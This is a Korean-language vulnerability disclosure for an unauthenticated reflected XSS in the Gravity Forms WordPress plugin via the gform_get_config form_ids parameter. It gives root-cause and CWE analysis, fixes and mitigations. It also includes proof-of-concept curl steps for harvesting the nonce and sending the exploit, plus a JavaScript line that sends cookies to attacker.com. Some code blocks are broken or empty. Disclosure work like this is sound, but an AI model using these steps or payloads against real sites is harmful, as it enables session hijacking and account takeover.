Wordfence 공개 기록

설명

WordPress용 Gravity Forms 플러그인(버전 2.9.28까지 테스트됨)은 gform_get_config AJAX 액션의 form_ids 매개변수를 통해 인증되지 않은 반사형 크로스사이트 스크립팅(XSS)에 취약합니다. 이 취약점은 사용자가 제공한 form_ids 값이 서버의 HTTP 응답에 어떠한 삭제(sanitization), 인코딩 또는 출력 이스케이프 없이 그대로 반사되기 때문에 발생합니다. 응답은 Content-Type: text/html; charset=UTF-8 헤더로 제공되며, 이로 인해 브라우저는 반사된 콘텐츠를 HTML로 파싱하고 렌더링하며, 주입된 스크립트 요소도 포함됩니다.

인증되지 않은 공격자는 이 취약점을 악용하여 대상 WordPress 사이트의 오리진 컨텍스트에서 임의의 JavaScript를 실행할 수 있습니다. gform_get_config 액션은 유효한 config_nonce를 요구하며, 이 nonce는 Gravity Forms 양식을 로드하는 모든 페이지의 HTML 소스에 공개적으로 포함되어 있으므로, 공격자는 악용 요청을 구성하기 전에 대상 사이트의 공개 페이지를 요청하기만 하면 유효한 nonce를 쉽게 얻을 수 있습니다.

성공적인 악용을 통해 공격자는 세션 쿠키를 탈취하고, 인증된 사용자(WordPress 관리자 포함)를 대신하여 작업을 수행하고, 사용자를 악성 사이트로 리디렉션하고, 페이지 콘텐츠를 훼손하거나, 관리자 계정 생성을 통해 지속적인 접근 권한을 확보할 수 있습니다.

근본 원인 분석

취약한 엔드포인트```

POST /wp-admin/admin-ajax.php

취약한 파라미터

args POST 파라미터는 form_ids 배열을 포함하는 JSON 객체를 허용합니다. 이 배열의 값은 삭제(샌itization) 없이 JSON 응답 구조의 객체 키로 사용됩니다:```json {"form_ids":["ATTACKER_CONTROLLED_VALUE"]}

왜 이것이 악용 가능한가

1. 입력 검증 없음: form_ids 값은 정수로 검증되거나, 정화되거나, 필터링되지 않습니다. 서버는 HTML 태그와 이벤트 핸들러를 포함한 임의의 문자열 콘텐츠를 수락합니다.
2. 출력 인코딩 없음: form_ids 값은 HTML 엔터티 인코딩 없이 응답 본문에 반영됩니다. <, >, ", '와 같은 문자는 수정되지 않은 채 통과합니다.
3. HTML Content-Type: 응답은 Content-Type: text/html; charset=UTF-8로 제공되며, 이는 브라우저가 응답 본문을 HTML로 파싱하도록 지시합니다. 반영된 값 내의 모든 HTML 태그는 브라우저의 HTML 파서에 의해 인스턴스화되고 렌더링됩니다.
4. 공개적으로 접근 가능한 Nonce: gform_get_config 액션이 요구하는 config_nonce는 Gravity Forms 양식을 로드하는 모든 페이지의 JavaScript 구성 객체(gform_theme_config)에 포함되어 있습니다. 이 nonce는 모든 페이지에서 동일하며 특정 사용자 세션에 바인딩되지 않으므로, 인증되지 않은 사용자가 쉽게 획득할 수 있습니다.

CWE 분석

이 취약점은 체인으로 연결되어 악용 가능한 조건을 만들어내는 여러 기여 약점의 결과입니다. CWE-79가 CVE 보고 목적의 주요 분류이지만, 전체 체인은 각 실패가 어떻게 누적되어 악용을 가능하게 하는지 문서화합니다.

약점 체인```

CWE-20 CWE-116 CWE-838 CWE-79 Improper Input → Improper Encoding → Inappropriate Encoding → Cross-Site Validation or Escaping of Output for Output Context Scripting (XSS) [EXPLOITABLE] form_ids accepts Reflected values are JSON data served as Browser parses arbitrary strings not HTML-entity text/html instead of injected HTML tags instead of integers encoded in response application/json and executes JS

CWE-116: 출력 인코딩 또는 이스케이프 불량 (주요 기술적 결함)

역할: 핵심 취약점 — XSS 조건의 직접적인 원인.

서버가 form_ids 값을 포함하는 JSON 응답을 구성할 때 출력에 HTML 엔터티 인코딩을 적용하지 않습니다. HTML에서 특수한 의미를 갖는 문자(<, >, ", ', &)는 수정되지 않은 채 응답 본문으로 전달됩니다. PHP 함수 htmlspecialchars(), esc_html(), JSON_HEX_TAG 옵션을 사용한 wp_json_encode(), 또는 이에 상응하는 출력 인코딩 함수는 form_ids 값이 응답에 기록되기 전에 적용되지 않습니다.

증거: 리터럴 문자열 <svg onload=alert(document.domain)>이 입력과 바이트 단위로 동일하게 응답 본문에 나타나며, <svg onload=alert(document.domain)>로 변환되지 않습니다.

CWE-838: 출력 컨텍스트에 부적절한 인코딩 (복합 악화)

역할: 컨텍스트 확대 — 데이터 반영 문제를 실행 가능한 코드 주입으로 변환합니다.

응답 본문에는 JSON 구조의 데이터가 포함되어 있지만 Content-Type: text/html; charset=UTF-8로 제공됩니다. 이 Content-Type 선언은 브라우저의 HTML 파서가 응답 본문 전체를 HTML 문서로 처리하도록 지시합니다. 응답이 application/json으로 제공되었다면 브라우저는 응답을 일반 텍스트로 렌더링하고 HTML 파싱이 발생하지 않았을 것입니다 — 주입된 태그는 DOM 요소로 인스턴스화되지 않고 리터럴 텍스트로 표시되었을 것입니다.

증거:```http Content-Type: text/html; charset=UTF-8 ← Actual (enables HTML parsing) Content-Type: application/json ← Expected (would prevent exploitation)

이 nonce는 다음과 같이 확인되었습니다:

• 대상 사이트의 모든 페이지에서 동일 (홈페이지, 양식 페이지, 비양식 페이지 포함)
• 사용자 세션에 바인딩되지 않음 (쿠키 유무와 관계없이 동일한 값 반환)
• 요청별로 회전하지 않음 (장기간 정적으로 유지됨)

존재하는 보안 헤더 (불충분함)

개념 증명

환경

1단계: 유효한 Nonce 획득

Gravity Forms 양식을 로드하는 대상 사이트의 아무 페이지에 요청을 보내고 config_nonce 값을 추출합니다:```bash curl -sk "https://[TARGET]/request-quote/" | grep -oP '"config_nonce":"\K[a-f0-9]+'

2단계: 익스플로잇 요청 보내기

악성 XSS 페이로드가 포함된 form_ids 값을 담아 WordPress AJAX 핸들러에 POST 요청을 전송합니다:```bash curl -sk -X POST "https://[TARGET]/wp-admin/admin-ajax.php"
-F "gform_ajax_nonce=[NONCE]"
-F "action=gform_get_config"
-F 'args={"form_ids":[""]}'
-F "config_path=gform_theme_config/common/form/pagination/3"
-F "query_string="

HTTP 응답 본문:```html

Response:```html

디코딩된 JavaScript:```javascript new Image().src = "https://attacker.com/collect?c=" + btoa(document.cookie) + "&u=" + btoa(location.href);

시나리오 3: 피싱을 위한 DOM 탈취

반사형 XSS는 전체 페이지 DOM을 설득력 있는 피싱 오버레이(예: 가짜 로그인 페이지 또는 세션 만료 프롬프트)로 대체하여 자격 증명을 직접 탈취할 수 있습니다.

공격 흐름```

┌─────────────┐ 1. GET /any-page/ ┌─────────────────┐ │ Attacker │ ──────────────────────────────► Target WordPress │ │ (External) │ ◄────────────────────────────── (Gravity Forms) │ │ │ 2. HTML with config_nonce │ │ │ │ │ │ │ │ 3. Craft malicious page │ │ │ │ with auto-submit form │ │ │ │ │ │ │ ┌────────┐ │ 4. Send link to victim │ │ │ │Malicious│ │ ───────────────────────► │ │ │ │ Page │ │ ┌───────┴──┐ │ │ └────────┘ │ │ Victim │ │ │ │ │ (WP Admin)│ │ │ │ └───────┬──┘ │ │ │ 5. Victim's browser POSTs │ │ │ │ XSS payload with nonce │ │ │ │ ────────►│ │ │ │ 6. Server reflects payload │ │ │ │ unescaped in text/html │ │ │ │ ◄────────│ │ │ │ 7. JS executes in target │ │ │ │ origin (session context)│ │ │ │ │ │ │ │ ◄── 8. Exfil cookies/tokens ── │ │ └─────────────┘ └─────────────────┘

2. 출력 인코딩 — JSON 응답을 구성할 때 wp_json_encode()에 JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT 플래그를 적용하여 HTML에서 의미 있는 문자를 이스케이프 처리합니다: ```php echo wp_json_encode($response_data, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);
   root@kitploit:~

3. Content-Type 수정 — 모든 AJAX JSON 응답에 대해 응답 Content-Type을 text/html 대신 application/json으로 설정합니다. 이렇게 하면 비위생화된 콘텐츠가 반영되더라도 브라우저가 응답을 HTML로 파싱하는 것을 방지할 수 있습니다. ```php header('Content-Type: application/json; charset=UTF-8');
   root@kitploit:~

4. Nonce 범위 지정 — config_nonce를 사용자 세션에 연결하거나 nonce 생성에 속도 제한을 구현하여 자동화된 악용 비용을 높이는 것을 고려하세요.

사이트 관리자를 위한 (즉각적 완화 조치)

1. 웹 애플리케이션 방화벽 (WAF) — action=gform_get_config가 포함된 admin-ajax.php POST 요청의 args 매개변수에서 HTML 태그를 탐지하고 차단하는 WAF 규칙을 배포하세요.
2. 콘텐츠 보안 정책 — 반사된 경우에도 인라인 스크립트 실행을 방지하기 위해 제한적인 script-src CSP 지시문(예: script-src 'self')을 구현하세요.
3. 업데이트 모니터링 — Gravity Forms 패치가 출시되는 즉시 적용하세요.
4. 관리자 계정 감사 — 기존 관리자 계정에 승인되지 않은 추가 사항이 없는지 검토하세요.

공개 타임라인

참고 자료

• Gravity Forms 보안 문서
• [Gravity Forms 보안 연락처](mailto:[email protected])
• CWE-79: 웹 페이지 생성 중 입력의 부적절한 중화
• OWASP 교차 사이트 스크립팅 (XSS)
• WordPress AJAX API — admin-ajax.php
• CVE-2023-2701 — 이전 Gravity Forms XSS (다른 벡터)
• CVE-2024-13377 — 이전 Gravity Forms alt 매개변수를 통한 저장형 XSS (다른 벡터)

고지 사항

이 취약점은 명시적인 서면 승인을 받은 서명된 작업 범위(Statement of Work)에 따라 수행된 승인된 침투 테스트 계약 중에 발견되었습니다. 모든 테스트는 합의된 범위 내에서 수행되었으며, 발견 즉시 클라이언트에게 결과가 보고되었습니다. 본 공개는 책임 있는 공개 관행을 따릅니다. 승인되지 않은 시스템에는 접근하지 않았으며, 통제된 개념 증명 검증 외부로 데이터가 유출되지 않았습니다.

발견자: Anthony Cihan